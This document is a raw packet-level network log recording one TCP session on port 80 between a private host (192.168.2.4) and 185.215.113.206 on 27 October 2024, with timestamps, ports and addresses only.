Oct 27, 2024 12:13:27.644901991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644923925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644934893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644956112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.644968033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.644985914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645000935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645015955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645035028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645051956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645070076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645091057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645102978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645118952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645136118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645153046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645169973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645185947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645205021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645221949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645253897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645256042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645292044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645307064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645324945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645342112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645359993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645375967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645394087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645411015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645427942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645447969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645473003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645478010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645514011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645534039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645546913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645562887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645580053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645600080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645613909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645627022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645648956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645670891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645682096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645699024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645715952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645731926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645750046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.645764112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.645798922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.686871052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.686903000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.686914921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.686997890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.688117027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.688128948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.688139915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.688188076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719072104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719110012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719119072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719146013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719166994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719182014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719208956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719235897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719247103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719280005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719307899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719333887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719338894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719374895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719420910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719435930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719460011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719494104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719527006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719527006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719561100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719583035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719593048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719619989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719626904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719654083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719681978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719805002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719837904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719851971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719871044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719882011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719904900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719917059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719939947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719949007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.719973087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.719996929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720006943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720027924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720056057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720101118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720151901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720185041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720201015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720220089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720244884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720252991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720283985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720290899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720319986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720341921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720347881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720375061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720396996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720423937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720438957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720470905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720478058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720510960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720542908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720565081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720577002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720603943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720609903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720629930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720643044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720659971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720675945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720691919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720707893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720732927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720745087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720762968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720777988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720810890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720824957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720844984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720856905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720880032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.720895052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.720932007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721029997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721062899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721077919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721098900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721107006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721112967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721139908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721158981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721203089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721232891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721251965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721271038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721282959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721318007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721335888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721352100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721374035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721386909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721407890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721420050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721435070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721453905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721467018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721487999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721498966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721522093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721534014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721558094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.721566916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.721601963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.759840965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.759939909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.759993076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760021925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760030031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760071039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760090113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760119915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760123968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760158062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760169983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760193110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760204077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760226965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760248899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760261059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760272980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760307074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760312080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760348082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760369062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760380983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760404110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760430098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760435104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760463953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760478020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760510921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760518074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760565996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760566950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760601997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760626078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760634899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760644913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760669947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760678053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760703087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760720015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760736942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760755062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760771036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760785103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760811090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760818958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760888100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760890961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760926008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760941982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760965109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.760977983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.760982037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761006117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761013985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761029005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761048079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761059999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761081934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761104107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761116028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761122942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761151075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761157990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761183977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761199951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761218071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761226892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761271000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761271000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761322975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761327028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761369944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761372089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761406898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761420012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761439085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761459112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761472940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761482954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761507034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761523962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761540890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761553049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761576891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761586905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761611938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761629105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761646032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761657953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761677027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761704922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761712074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761734962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761765957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761787891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761797905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761811972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761832952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761846066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761866093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761885881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761904955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761918068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761939049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761950016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.761974096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.761986971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762008905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762029886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762058973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762059927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762094021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762109041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762128115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762140036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762161970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762175083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762197018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762202978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762231112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762243986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762265921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762279034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762300968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762310028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762346029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762353897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762389898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762404919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762424946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762435913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762454033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762480021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762486935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762501001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762521982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762533903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762554884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762569904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762588978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762602091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762624979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762665987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762676954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762693882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762727022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762761116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762783051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762803078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762810946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762835979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762851000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762868881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762882948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762903929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762913942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762938023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762953043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.762970924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.762981892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.763005018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.763026953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.763041019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.763050079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.763086081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.804048061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.804089069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.804101944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.804174900 CET	49730	80	192.168.2.4	185.215.113.206
